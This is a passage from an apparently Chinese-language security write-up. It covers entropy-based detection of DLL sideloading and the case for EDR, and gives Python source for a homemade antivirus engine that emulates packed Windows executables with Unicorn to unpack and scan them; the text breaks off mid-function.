    for (size_t i = 0; i < size; ++i) {
        frequencyMap[byteData[i]]++;
    }
 
    double entropy = 0.0;
    for (const auto& pair : frequencyMap) {
        double probability = static_cast<double>(pair.second) / size;
        entropy -= probability * std::log2(probability);
    }
 
    return entropy;
}

效果
模式匹配检测:

总结
进一步
这些都并不是最好的方法,最好的方法是搞fuzz常见的语义分支分析,要用到LLVM做IR 有点麻烦 懒得写了 反正写POC。如果分支覆盖率不足10% 大概率就是这种白夹黑(其实IDA写插件应该就能追出来)
edr的重要性
EDR从来就不会遇到这个问题,因为EDR看文件视角都是一样的不可信文件。而杀毒软件则会完全拉闸。2024年了,该使用EDR了,杀毒软件已经有诸多案例表明,没有办法解决高级威胁(指APT/黑产灰产)
源码
一如既往的:
https://github.com/huoji120/white_patch_detect

(五)、一个自制杀毒引擎

1.0

流程

(1).是否有壳,有壳放入虚拟机进行脱壳

部分代码如下:

def scan_file_by_path(file_path):
    global log_import_dlls
    pe_obj = None
    with open(file_path, "rb") as f:
        try:
            pe_obj = pefile.PE(data=f.read())
        except:
            return 0

    if pe_obj is None:
        return 0

    # 进行一波脱壳操作
    matches = g_pe_signatures.match(pe_obj, ep_only=True)
    import_dlls = get_import_dlls(pe_obj)
    clean_pe = pe_obj
    pe_buffer = pe_obj.get_memory_mapped_image()
    if matches is not None and matches[0].lower().find('c++') == -1 and matches[0].lower().find('.net') != -1:
        g_obj_unpacker.init_file(pe_obj)
        g_obj_unpacker.log_import_dlls = import_dlls
        g_obj_unpacker.start()
        # 脱壳成功
        if g_obj_unpacker.status == True:
            import_dlls = g_obj_unpacker.log_import_dlls
            # pe_obj.close()
            clean_pe = g_obj_unpacker.clean_pe_object
            pe_buffer = g_obj_unpacker.uc_buffer
        else:
            import_dlls = get_import_dlls(pe_obj)
        g_obj_unpacker.free()
    else:
        import_dlls = get_import_dlls(pe_obj)
    # print('import dlls:')
    # print(import_dlls)
    result = ai_engine.scan_file(clean_pe, pe_obj, pe_buffer, import_dlls)
    pe_obj.close()
    if clean_pe != pe_obj:
        clean_pe.close()
    return result

g_pe_signatures = peutils.SignatureDatabase('./userdb.txt')

import pickle
from time import sleep
from head import *
import dumper
import _thread

STACK_BASE_64 = 0x7ffffffde000
STACK_SIZE_64 = 0x40000
STACK_BASE_32 = 0xfffdd000
STACK_SIZE_32 = 0x21000
HEAP_ADDRESS_64 = 0x500000000
HEAP_SIZE_64 = 0x5000000
HEAP_ADDRESS_32 = 0x5000000
HEAP_SIZE_32 = 0x5000000
THREAD_ID = 0x1337
PROCESS_ID = 0x1337

hook_arg_table = {
    'GetSystemTimeAsFileTime': 1,
    'GetCurrentThreadId': 0,
    'GetCurrentProcessId': 0,
    'QueryPerformanceCounter': 1,
    '__acrt_iob_func': 1,
    'LoadLibraryA': 1,
    'GetProcAddress': 2,
    'VirtualProtect': 4,
    'LocalAlloc': 2,
    'GetModuleHandleA': 1,
    'GetModuleFileNameW': 3,
}


def align(value, page_size=4096):
    m = value % page_size
    f = page_size - m
    aligned_size = value + f
    return aligned_size


class unpack(object):
    enivronment_var = {
        'stack_address': 0x0,
        'stack_size': 0x0,
        # 'stack_start': 0,
        'ntdll_base': 0x77400000,
        'kernel32_base': 0x755D0000,
        'kernelbase_base': 0x73D00000,
        'teb_base': 0,
        'peb_base': 0,
        'api_handle_address': 0,
        'org_api_handle_address': 0,
        'api_handle_size': 0,
        'heap': [],  # (address, size, isfree)
    }
    sample_var = {
        'path': "",
        'pe_obj': None,
        'memeory_map': None,
        'virtual_memory_size': 0,
        'is_x64': False,
        'entry_point': 0,
        'image_base': 0,
    }
    start_time = 0
    clean_pe_object = None
    hook_table = {}
    dll_load_table = {}
    export_to_name_table = {}
    log_import_function_name = []
    log_import_dlls = []

    sections_read = {}
    sections_written = {}
    write_targets = []
    allowed_sections = []
    allowed_addr_ranges = []
    uc_buffer = None
    # Dict Address to Name: (StartVAddr, EndVAddr) -> Name
    address_to_name = {}
    # Dict Name to Protection Tupel: Name -> (Execute, Read, Write)
    name_to_protection = {}

    last_run_address = 0
    last_section_name = ''
    uc_engine_x64 = Uc(UC_ARCH_X86, UC_MODE_64)
    uc_engine_x32 = Uc(UC_ARCH_X86, UC_MODE_32)
    capstone_x64 = Cs(CS_ARCH_X86, CS_MODE_64)
    capstone_x32 = Cs(CS_ARCH_X86, CS_MODE_32)
    uc_engine = None
    capstone = None
    status = False
    is_exits = False

    def __init__(self):
        pass
        # self.enivronment_var['stack_start'] = self.enivronment_var['stack_address'] + \
        #    self.enivronment_var['stack_size']

    def free(self):
        # if self.sample_var['pe_obj'] is not None:
        #    self.sample_var['pe_obj'].close()
        self.sample_var['memeory_map'] = None
        self.sample_var['virtual_memory_size'] = 0
        self.enivronment_var['peb_base'] = 0
        self.enivronment_var['teb_base'] = 0
        self.enivronment_var['api_handle_address'] = 0
        self.enivronment_var['heap'] = []
        self.uc_engine = None
        self.uc_engine_x64 = None
        self.uc_engine_x32 = None
        self.uc_engine_x64 = Uc(UC_ARCH_X86, UC_MODE_64)
        self.uc_engine_x32 = Uc(UC_ARCH_X86, UC_MODE_32)
        self.capstone = None
        self.last_run_address = 0
        self.hook_table = {}
        self.dll_load_table = {}
        self.start_time = 0
        self.is_exits = False

        self.log_import_function_name = []
        self.log_import_dlls = []
        self.sections_read = {}
        self.sections_written = {}
        self.write_targets = []
        self.allowed_sections = []
        self.allowed_addr_ranges = []
        self.uc_buffer = None

        self.last_section_name = ''
        self.status = False
        self.clean_pe_object = None

    def merge(self, ranges):
        if not ranges:
            return []
        saved = list(ranges[0])
        for lower, upper in sorted([sorted(t) for t in ranges]):
            if lower <= saved[1] + 1:
                saved[1] = max(saved[1], upper)
            else:
                yield tuple(saved)
                saved[0] = lower
                saved[1] = upper
        yield tuple(saved)

    def get_virtual_memory_size(self, pe_obj):
        sections = pe_obj.sections
        min_offset = sys.maxsize
        total_size = 0
        for sec in sections:
            if sec.VirtualAddress < min_offset:
                min_offset = sec.VirtualAddress
            total_size += sec.Misc_VirtualSize
        total_size += min_offset

        return total_size

    def alloc_heap_memory(self, size):
        heap_alloc_memory_address = 0
        for iter in self.enivronment_var['heap']:
            if iter.isfree and iter.size >= size:
                iter.isfree = False
                heap_alloc_memory_address = iter.address
                return heap_alloc_memory_address

        if heap_alloc_memory_address == 0:
            for iter in self.enivronment_var['heap']:
                if heap_alloc_memory_address < iter.address + iter.size:
                    heap_alloc_memory_address = iter.address + iter.size
                    break
            if heap_alloc_memory_address == 0:
                heap_alloc_memory_address = HEAP_ADDRESS_64 if self.sample_var[
                    'is_x64'] else HEAP_ADDRESS_32
            # 记得对其
            heap_alloc_memory_address = align(
                heap_alloc_memory_address, 0x1000)

            heap_end = (HEAP_ADDRESS_64 if self.sample_var[
                'is_x64'] else HEAP_ADDRESS_32) + (HEAP_SIZE_64 if self.sample_var[
                    'is_x64'] else HEAP_SIZE_32)
            if heap_alloc_memory_address + size > heap_end:
                print("[!] OverHeap because Heap is full 0x%x" % size)
                return 0
        return heap_alloc_memory_address

    def api_GetCurrentThreadId(self):
        payload = THREAD_ID
        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(
                UC_X86_REG_RAX, payload)
        else:
            self.uc_engine.reg_write(
                UC_X86_REG_EAX, payload)

    def api_QueryPerformanceCounter(self):
        payload = struct.pack("<Q", int(time.perf_counter() * (10 ** 9)))
        success_status = 0x1
        if self.sample_var['is_x64']:
            # rax = bool
            # rsp + 8 = payload
            address = self.uc_engine.reg_read(UC_X86_REG_RSP) + 0x8
            self.uc_engine.mem_write(address, payload)

            self.uc_engine.reg_write(
                UC_X86_REG_RAX, success_status)
        else:
            # eax = bool
            # esp + 4 = payload
            address = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            self.uc_engine.mem_write(address, payload)

            self.uc_engine.reg_write(
                UC_X86_REG_RAX, success_status)

    def api_GetCurrentProcessId(self):
        payload = PROCESS_ID
        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, payload)
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, payload)

    def api_GetSystemTimeAsFileTime(self):
        t = (int(
            time.time()) * 10000000) + 116444736000000000  # https://support.microsoft.com/en-us/help/167296/how-to-convert-a-unix-time-t-to-a-win32-filetime-or-systemtime
        dwLowDateTime = c_uint32(t).value
        dwHighDateTime = t >> 32
        payload = bytes(SYS_FILETIME(
            dwLowDateTime,
            dwHighDateTime,
        ))
        if self.sample_var['is_x64'] == False:
            esp_address = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            self.uc_engine.mem_write(esp_address, payload)
        else:
            self.uc_engine.mem_write(self.uc_engine.reg_read(
                UC_X86_REG_RCX), payload)

    # 这里有问题 不过不管了
    def api_acrt_iob_func(self):
        payload = struct.pack("<I", 0x1337)
        self.uc_engine.mem_write(
            self.enivronment_var['api_handle_address'], payload)
        if self.sample_var['is_x64'] == False:
            self.uc_engine.reg_write(
                UC_X86_REG_EAX, self.enivronment_var['api_handle_address'])
        else:
            self.uc_engine.reg_write(
                UC_X86_REG_RAX, self.enivronment_var['api_handle_address'])
        self.enivronment_var['api_handle_address'] += len(payload)

    def api_LoadLibraryA(self):
        load_lib_name = ''
        result = 0
        arg_address = 0
        if self.sample_var['is_x64'] == False:
            arg_address = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            arg_address = self.uc_engine.mem_read(arg_address, 0x4)
            arg_address = int.from_bytes(
                arg_address[::-1], byteorder='big', signed=False)
        else:
            arg_address = self.uc_engine.reg_read(UC_X86_REG_RCX)
        load_lib_name = self.uc_read_char(arg_address)
        #print("[+] LoadLibraryA: %s" % load_lib_name)
        # self.uc_engine.emu_stop()
        if load_lib_name not in self.log_import_dlls:
            self.log_import_dlls.append(load_lib_name)

        if load_lib_name.lower().find('kernel32.dll') != -1:
            self.dll_load_table['Kernel32.dll'] = self.enivronment_var['kernel32_base']
            result = self.enivronment_var['kernel32_base']
        elif load_lib_name.lower().find('ntdll.dll') != -1:
            self.dll_load_table['ntdll.dll'] = self.enivronment_var['ntdll_base']
            result = self.enivronment_var['ntdll_base']
        elif load_lib_name.lower().find('kernelbase.dll') != -1:
            self.dll_load_table['kernelbase.dll'] = self.enivronment_var['kernelbase_base']
            result = self.enivronment_var['kernelbase']
        else:
            print('[!] unknown dlls with LoadLibraryA: %s' % load_lib_name)
            result = 0x13337
            # self.stop()
            # return

        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, result)
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, result)
        # payload = struct.pack("<I", 0x1337)

    def api_LocalAlloc(self):
        u_flag = 0
        u_bytes = 0  # size
        result = 0
        if self.sample_var['is_x64']:
            u_flag = self.uc_engine.reg_read(UC_X86_REG_RCX)
            u_bytes = self.uc_engine.reg_read(UC_X86_REG_RDX)
        else:
            u_flag = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            u_bytes = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x8
            u_flag = self.uc_engine.mem_read(u_flag, 4)
            u_bytes = self.uc_engine.mem_read(u_bytes, 4)
            u_flag = int.from_bytes(
                u_flag[::-1], byteorder='big', signed=False)
            u_bytes = int.from_bytes(
                u_bytes[::-1], byteorder='big', signed=False)

        # 做一些flag的判断,但是我懒了...
        result = self.alloc_heap_memory(u_bytes)
        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, result)
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, result)

    def api_GetModuleHandleA(self):
        module_name = ''
        result = 0
        if self.sample_var['is_x64'] == False:
            arg_address = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            arg_address = self.uc_engine.mem_read(arg_address, 0x4)
            arg_address = int.from_bytes(
                arg_address[::-1], byteorder='big', signed=False)
            module_name = self.uc_read_char(arg_address)
        else:
            module_name = self.uc_read_char(
                self.uc_engine.reg_read(UC_X86_REG_RCX))

        if module_name.lower().find('kernelbase') != -1:
            result = self.enivronment_var['kernelbase_base']
        elif module_name.lower().find('kernel32') != -1:
            result = self.enivronment_var['kernel32_base']
        elif module_name.lower().find('ntdll') != -1:
            result = self.enivronment_var['ntdll_base']
        else:
            print("[!] unknown GetModuleHandleA: %s" % module_name)
            result = 0x13337

        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, result)
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, result)

    def api_GetProcAddress(self):
        lib_handle = 0
        function_name = ''
        result = 0
        function_name_address = 0
        if self.sample_var['is_x64'] == False:
            lib_handle = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            lib_handle = self.uc_engine.mem_read(lib_handle, 4)
            lib_handle = int.from_bytes(
                lib_handle[::-1], byteorder='big', signed=False)

            function_name_address = self.uc_engine.reg_read(
                UC_X86_REG_ESP) + 0x8
            function_name_address = self.uc_engine.mem_read(
                function_name_address, 0x4)
            function_name_address = int.from_bytes(
                function_name_address[::-1], byteorder='big', signed=False)
            # print(function_name_address)
            #function_name = self.uc_read_char(function_name_address)
        else:
            lib_handle = self.uc_engine.reg_read(UC_X86_REG_RCX)
            function_name_address = self.uc_engine.reg_read(UC_X86_REG_RDX)
        if function_name_address == 0:
            #print('[!] GetProcAddress: function_name_address is 0')
            self.stop()
            return
        try:
            function_name = self.uc_read_char(function_name_address)
        except:
            function_name = hex(function_name_address)

        #print("[+] GetProcAddress: %s" % function_name)
        # self.uc_engine.emu_stop()
        if function_name not in self.log_import_function_name:
            self.log_import_function_name.append(
                function_name)

        if lib_handle != self.enivronment_var['kernelbase_base'] and lib_handle != self.enivronment_var['kernel32_base'] and lib_handle != self.enivronment_var['ntdll_base']:
            #print('[!] unknown dlls with GetProcAddress: %d' % lib_handle)
            result = 0x1337
            # self.stop()
            # return
        else:
            is_in_hook_table = False
            for key in self.hook_table:
                if self.hook_table[key].lower() == function_name.lower():
                    is_in_hook_table = True
                    result = key
                    break
            if is_in_hook_table == False:
                # print('[!] GetProcAddress: unhandle function %s' %
                #      function_name)
                # self.stop()
                # return
                pass

        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, result)
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, result)

    def api_GetModuleFileNameW(self):
        module_base = 0
        module_name = ''  # output
        input_size = 0
        out_address = 0
        if self.sample_var['is_x64']:
            module_base = self.uc_engine.reg_read(UC_X86_REG_RCX)
            out_address = self.uc_engine.reg_read(UC_X86_REG_RDX)
            input_size = self.uc_engine.reg_read(UC_X86_REG_R8)
        else:
            module_base = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            out_address = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x8
            input_size = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0xC
        if module_base == self.enivronment_var['kernel32_base']:
            module_name = 'c:\\windows\\system32\\kernel32.dll'
        elif module_base == self.enivronment_var['ntdll_base']:
            module_name = 'c:\\windows\\system32\\ntdll.dll'
        elif module_base == self.enivronment_var['kernelbase_base']:
            module_name = 'c:\\windows\\system32\\kernelbase.dll'
        elif module_base == self.sample_var['image_base'] or module_base == 0:
            module_name = 'c:\\users\\huoji\\desktop\\eval_duck.exe'
        else:
            module_name = 'c:\\windows\\system32\\duck.dll'

        out_data = module_name.encode('utf-16') + b'\x00\x00'
        # 懒得判断长度了
        # if len(out_data) > input_size:
        self.uc_engine.mem_write(
            out_address, out_data)

        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, len(out_data))
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, len(out_data))

    def api_VirtualProtect(self):
        address = 0
        size = 0
        new_protect = 0
        out_protect_address = 0
        if self.sample_var['is_x64']:
            address = self.uc_engine.reg_read(UC_X86_REG_RCX)
            size = self.uc_engine.reg_read(UC_X86_REG_RDX)
            new_protect = self.uc_engine.reg_read(UC_X86_REG_R8)
            out_protect_address = self.uc_engine.reg_read(UC_X86_REG_R9)
            # out_protect_address = self.uc_engine.mem_read(
            #    out_protect_address, 0x8)
        else:
            address = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x4
            size = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0x8
            new_protect = self.uc_engine.reg_read(UC_X86_REG_ESP) + 0xC
            out_protect_address = self.uc_engine.reg_read(
                UC_X86_REG_ESP) + 0x10
            address = self.uc_engine.mem_read(address, 4)
            size = self.uc_engine.mem_read(size, 4)
            new_protect = self.uc_engine.mem_read(new_protect, 4)
            out_protect_address = self.uc_engine.mem_read(
                out_protect_address, 4)
            address = int.from_bytes(
                address[::-1], byteorder='big', signed=False)
            size = int.from_bytes(
                size[::-1], byteorder='big', signed=False)
            new_protect = int.from_bytes(
                new_protect[::-1], byteorder='big', signed=False)
            out_protect_address = int.from_bytes(
                out_protect_address[::-1], byteorder='big', signed=False)

        result = 0x1
        memory_protection = {  # Tupel Format: (Execute, Read, Write)
            0x01: (False, False, False),  # 0x01 PAGE_NOACCESS
            0x02: (False, True, False),  # 0x02 PAGE_READONLY
            0x04: (False, True, True),  # 0x04 PAGE_READWRITE
            0x08: (False, True, True),  # 0x08 PAGE_WRITECOPY
            0x10: (True, False, False),  # 0x10 PAGE_EXECUTE
            0x20: (True, True, False),  # 0x20 PAGE_EXECUTE_READ
            0x40: (True, True, True),  # 0x40 PAGE_EXECUTE_READWRITE
            0x80: (True, True, True),  # 0x80 PAGE_EXECUTE_WRITECOPY
        }
        for saddr, eaddr in self.address_to_name.keys():
            if (address <= saddr <= address + size or address <= eaddr <= address + size) and new_protect in memory_protection:
                name = self.address_to_name[(saddr, eaddr)]
                self.name_to_protection[name] = memory_protection[new_protect]

        if self.sample_var['is_x64']:
            self.uc_engine.reg_write(UC_X86_REG_RAX, result)  # bool
        else:
            self.uc_engine.reg_write(UC_X86_REG_EAX, result)  # bool
        self.uc_engine.mem_write(
            out_protect_address, struct.pack("<I", new_protect))  # 懒得写了,就这样吧

    def uc_read_char(self, address):
        result = b''
        loop_address = address
        while True:
            signal_char = self.uc_engine.mem_read(loop_address, 0x1)
            if signal_char != b'\x00':
                result += signal_char
                loop_address += 0x1
            else:
                break
        return convert_to_string(result)

    def init_teb_peb(self):
        self.enivronment_var['teb_base'] = 0x200000
        self.enivronment_var['peb_base'] = self.enivronment_var['teb_base'] + 0x1000
        LDR_PTR = self.enivronment_var['peb_base'] + 0x1000
        LIST_ENTRY_BASE = LDR_PTR + 0x1000
        self.enivronment_var['api_handle_address'] = LIST_ENTRY_BASE + 0x1000
        self.enivronment_var['org_api_handle_address'] = self.enivronment_var['api_handle_address']
        teb = None
        peb = None
        ntdll_entry = None
        kernel32_entry = None
        kernelbase_entry = None
        ldr = None
        if self.sample_var['is_x64'] == False:
            teb = x32_TEB(
                -1,  # fs:00h
                self.enivronment_var['stack_address'],  # fs:04h
                self.enivronment_var['stack_size'],  # fs:08h
                0,  # fs:0ch
                0,  # fs:10h
                0,  # fs:14h
                self.enivronment_var['teb_base'],  # fs:18h (teb base)
                0,  # fs:1ch
                PROCESS_ID,  # fs:20h (process id)
                THREAD_ID,  # fs:24h (current thread id)
                0,  # fs:28h
                0,  # fs:2ch
                self.enivronment_var['peb_base'],  # fs:3ch (peb base)
            )
            peb = x32_PEB(
                0,
                0,
                0,
                0,
                0xffffffff,
                self.sample_var['pe_obj'].OPTIONAL_HEADER.ImageBase,
                LDR_PTR,
                0,
                0,
                HEAP_ADDRESS_32
            )
            ntdll_entry = x32_LIST_ENTRY(
                LIST_ENTRY_BASE + 12,
                LIST_ENTRY_BASE + 24,
                self.enivronment_var['ntdll_base'],
            )

            kernelbase_entry = x32_LIST_ENTRY(
                LIST_ENTRY_BASE + 24,
                LIST_ENTRY_BASE + 0,
                self.enivronment_var['kernelbase_base'],

            )

            kernel32_entry = x32_LIST_ENTRY(
                LIST_ENTRY_BASE + 0,
                LIST_ENTRY_BASE + 12,
                self.enivronment_var['kernel32_base'],
            )

            ldr = x32_PEB_LDR_DATA(
                0x30,
                0x1,
                0x0,
                LIST_ENTRY_BASE,
                LIST_ENTRY_BASE + 24,
                LIST_ENTRY_BASE,
                LIST_ENTRY_BASE + 24,
                LIST_ENTRY_BASE,
                LIST_ENTRY_BASE + 24,
            )
        else:
            teb = x64_TEB(
                -1,
                self.enivronment_var['stack_address'],
                self.enivronment_var['stack_size'],
                0,
                0,
                0,
                self.enivronment_var['teb_base'],
                0,
                PROCESS_ID,
                THREAD_ID,
                0,
                0,
                self.enivronment_var['peb_base'],
            )
            peb = x64_PEB(
                0,
                0,
                0,
                0,
                0xffffffff,
                self.sample_var['pe_obj'].OPTIONAL_HEADER.ImageBase,
                LDR_PTR,
                0,
                0,
                HEAP_ADDRESS_64
            )
            ntdll_entry = x64_LIST_ENTRY(
                LIST_ENTRY_BASE + 12,
                LIST_ENTRY_BASE + 24,
                self.enivronment_var['ntdll_base'],
            )

            kernelbase_entry = x64_LIST_ENTRY(
                LIST_ENTRY_BASE + 24,
                LIST_ENTRY_BASE + 0,
                self.enivronment_var['kernelbase_base'],

            )

            kernel32_entry = x64_LIST_ENTRY(
                LIST_ENTRY_BASE + 0,
                LIST_ENTRY_BASE + 12,
                self.enivronment_var['kernel32_base'],
            )
            ldr = x64_PEB_LDR_DATA(
                0x30,
                0x1,
                0x0,
                LIST_ENTRY_BASE,
                LIST_ENTRY_BASE + 24,
                LIST_ENTRY_BASE,
                LIST_ENTRY_BASE + 24,
                LIST_ENTRY_BASE,
                LIST_ENTRY_BASE + 24,
            )
        teb_payload = bytes(teb)
        peb_payload = bytes(peb)
        ldr_payload = bytes(ldr)

        ntdll_payload = bytes(ntdll_entry)
        kernelbase_payload = bytes(kernelbase_entry)
        kernel32_payload = bytes(kernel32_entry)

        alloc_size = align(0x10000)
        self.enivronment_var['api_handle_size'] = alloc_size + \
            self.enivronment_var['teb_base'] - \
            self.enivronment_var['api_handle_address']
        self.uc_engine.mem_map(
            self.enivronment_var['teb_base'], alloc_size)

        print('[*] teb_base: 0x%x' % self.enivronment_var['teb_base'])
        print('[*] peb_base: 0x%x' % self.enivronment_var['peb_base'])
        print('[*] api_handle_address: 0x%x' %
              self.enivronment_var['api_handle_address'])
        print('[*] api_handle_size: 0x%x' %
              self.enivronment_var['api_handle_size'])

        self.uc_engine.mem_write(self.enivronment_var['teb_base'], teb_payload)
        self.uc_engine.mem_write(self.enivronment_var['peb_base'], peb_payload)
        self.uc_engine.mem_write(LDR_PTR, ldr_payload)
        self.uc_engine.mem_write(LIST_ENTRY_BASE, ntdll_payload)
        self.uc_engine.mem_write(LIST_ENTRY_BASE + 12, kernelbase_payload)
        self.uc_engine.mem_write(LIST_ENTRY_BASE + 24, kernel32_payload)
        self.uc_engine.windows_tib = self.enivronment_var['teb_base']
        self.uc_engine.msr_write(
            0xC0000101, self.enivronment_var['teb_base'])  # kIa32GsBase
        self.uc_engine.msr_write(
            0xC0000100, self.enivronment_var['teb_base'])  # kIa32FsBase

    def get_section_by_address(self, address):
        for s in self.sample_var['pe_obj'].sections:
            if s.VirtualAddress + self.sample_var['image_base'] <= address < s.VirtualAddress + s.Misc_VirtualSize + self.sample_var['image_base']:
                return s
        return None

    def is_allowed(self, address):
        for start, end in self.allowed_addr_ranges:
            if start <= address <= end:
                return True
        return False

    def allow(self, address):
        section = self.get_section_by_address(address)
        section_name = convert_to_string(
            section.Name) if section else 'unknown'
        curr_section_range = self.get_section_range(section_name)
        if curr_section_range:
            self.allowed_sections += [section_name]
            self.allowed_addr_ranges = self.get_allowed_addr_ranges()

    def get_section_range(self, section):
        for s in self.sample_var['pe_obj'].sections:
            if convert_to_string(s.Name) == section:
                return s.VirtualAddress + self.sample_var['image_base'], s.VirtualAddress + s.Misc_VirtualSize + self.sample_var['image_base']
        return None

    def get_allowed_addr_ranges(self):
        allowed_ranges = []
        for s in self.sample_var['pe_obj'].sections:
            if convert_to_string(s.Name) in self.allowed_sections:
                start_addr = s.VirtualAddress + self.sample_var['image_base']
                end_addr = s.Misc_VirtualSize + start_addr + \
                    self.sample_var['image_base']
                allowed_ranges += [(start_addr, end_addr)]
        return allowed_ranges

    def print_asm(self, address, size):
        disass = self.capstone.disasm(
            self.uc_engine.mem_read(address, size), address, count=1)
        for i in disass:
            print("0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str))

    def dump_pe(self):
        self.status = True
        dump_obj = dumper.pe_dumper()
        self.clean_pe_object, self.uc_buffer = dump_obj.start_dump(
            self.uc_engine, self.name_to_protection, self.address_to_name, self.sample_var, self.enivronment_var)
        self.stop()
        pass

    def code_hook(self, uc, address, size, user_data):
        self.last_run_address = address
        # self.print_asm(address, size)
        if address > self.enivronment_var['org_api_handle_address'] + self.enivronment_var['api_handle_size'] or address < self.enivronment_var['org_api_handle_address']:
            curr_section = self.get_section_by_address(address)
            if curr_section != None:
                curr_section_name = convert_to_string(curr_section.Name)
                if self.last_section_name != curr_section_name:
                    print("[*] Section changed: %s" % curr_section_name)
                    self.last_section_name = curr_section_name

                if any(lower <= address <= upper for (lower, upper) in sorted(self.write_targets)):
                    print("[+] Write target hit at 0x%x" % address)
                    self.dump_pe()
                elif not self.is_allowed(address) and (
                        address < self.sample_var['image_base'] or address > self.sample_var['image_base'] + 0x1000):
                    print("[-] Address 0x%x not allowed sec name %s" %
                          (address, curr_section_name))
                    self.allow(address)
                    self.dump_pe()
                    # 执行dump
                pass
            else:
                print("current address : 0x%x" % address)
                self.stop()
                pass

    def memory_access_hook(self, uc, access, address, size, value, user_data):
        curr_section = self.get_section_by_address(address)
        if curr_section is not None:
            curr_section_name = convert_to_string(curr_section.Name)
            if access == UC_MEM_READ:
                if curr_section_name not in self.sections_read:
                    self.sections_read[curr_section_name] = 1
                else:
                    self.sections_read[curr_section_name] += 1
            elif access == UC_MEM_WRITE:
                self.write_targets = list(
                    self.merge(self.write_targets + [(address, address + size)]))
                if curr_section_name not in self.sections_written:
                    self.sections_written[curr_section_name] = 1
                else:
                    self.sections_written[curr_section_name] += 1
        if access == UC_MEM_READ:
            # 查看是否手工读取导入表
            if address in self.hook_table:
                if self.hook_table[address] not in self.log_import_function_name:
                    self.log_import_function_name.append(
                        self.hook_table[address])

    def memory_invalid_hook(self, uc, access, address, size, value, user_data):
        current_rip = uc.reg_read(
            UC_X86_REG_RIP) if self.sample_var['is_x64'] else uc.reg_read(UC_X86_REG_EIP)
        print("[!] Invalid memory access at 0x%x Last address at 0x%x" %
              (current_rip, self.last_run_address))
        print("[!] Access: %u, Address: 0x%x, Size: %u, Value: 0x%x" %
              (access, address, size, value))

    def interrupt_hook(self, uc, value, user_data):
        if self.last_run_address not in self.hook_table:
            print("[!] Unknown Interrupt: %u at %x" %
                  (value, self.last_run_address))
            self.stop()
            return
        # print("[!] handle api call %s" %
        #      self.hook_table[self.last_run_address])
        call_api = self.hook_table[self.last_run_address]
        if call_api == 'GetSystemTimeAsFileTime':
            self.api_GetSystemTimeAsFileTime()
        elif call_api == 'GetCurrentThreadId':
            self.api_GetCurrentThreadId()
        elif call_api == 'GetCurrentProcessId':
            self.api_GetCurrentProcessId()
        elif call_api == 'QueryPerformanceCounter':
            self.api_QueryPerformanceCounter()
        elif call_api == 'LoadLibraryA':
            self.api_LoadLibraryA()
        elif call_api == 'GetProcAddress':
            self.api_GetProcAddress()
        elif call_api == 'VirtualProtect':
            self.api_VirtualProtect()
        elif call_api == 'LocalAlloc':
            self.api_LocalAlloc()
        elif call_api == 'GetModuleHandleA':
            self.api_GetModuleHandleA()
        elif call_api == 'GetModuleFileNameW':
            self.api_GetModuleFileNameW()

        elif call_api == '_initterm_e' or call_api == '_initterm' or call_api == '_get_initial_narrow_environment' or call_api == '__p___argv' or call_api == '__p___argc' or call_api == '__acrt_iob_func':
            if call_api == '__p___argc' or call_api == '__p___argv':
                self.api_acrt_iob_func()
            pass
        else:
            print("[!] Unknown api call %s" % call_api)
            self.stop()
            return
        pass

    def watch_dog(self, nonuse):
        while True:
            if self.status or self.is_exits:
                break
            current_time = time.time()
            if current_time - self.start_time > 30:
                #print("[!] Timeout")
                self.stop()
                break
            sleep(1)

    def stop(self):
        if self.uc_engine != None:
            print("[!] Stopping")
            self.uc_engine.emu_stop()

    def start(self):
        self.start_time = time.time()
        _thread.start_new_thread(self.watch_dog, (self,))

        try:
            self.uc_engine.emu_start(
                self.sample_var['entry_point'], sys.maxsize)
        except UcError as e:
            print(f"Error: {e}")
        finally:
            self.is_exits = True
            self.uc_engine.emu_stop()

    def load_dll(self, path_dll, start_addr):
        filename = os.path.splitext(os.path.basename(path_dll))[0]
        file_path = f"{os.path.dirname(__file__)}/x64_dll/{filename}.ldll" if self.sample_var[
            'is_x64'] else f"{os.path.dirname(__file__)}/x32_dll/{filename}.ldll"
        pick_save_path = f"{os.path.dirname(__file__)}/x64_dll/{filename}.pickle" if self.sample_var[
            'is_x64'] else f"{os.path.dirname(__file__)}/x32_dll/{filename}.pickle"
        if not os.path.exists(file_path):
            with open(path_dll, "rb") as f:
                dll = pefile.PE(data=f.read())
            # 解析导出表
            dll.parse_data_directories()
            export_data = {}  # name <-> offset
            for entry in dll.DIRECTORY_ENTRY_EXPORT.symbols:
                export_data[entry.name] = entry.address
            with open(pick_save_path, 'wb') as pick_file_handle:
                pickle.dump(export_data, pick_file_handle)

            self.export_to_name_table[filename] = export_data
            loaded_dll = dll.get_memory_mapped_image(ImageBase=start_addr)
            with open(file_path, 'wb') as f:
                f.write(loaded_dll)
            self.uc_engine.mem_map(start_addr, align(len(loaded_dll) + 0x1000))
            self.uc_engine.mem_write(start_addr, loaded_dll)
            dll.close()
            # self.resolve_dll_export_table(loaded_dll)
        else:
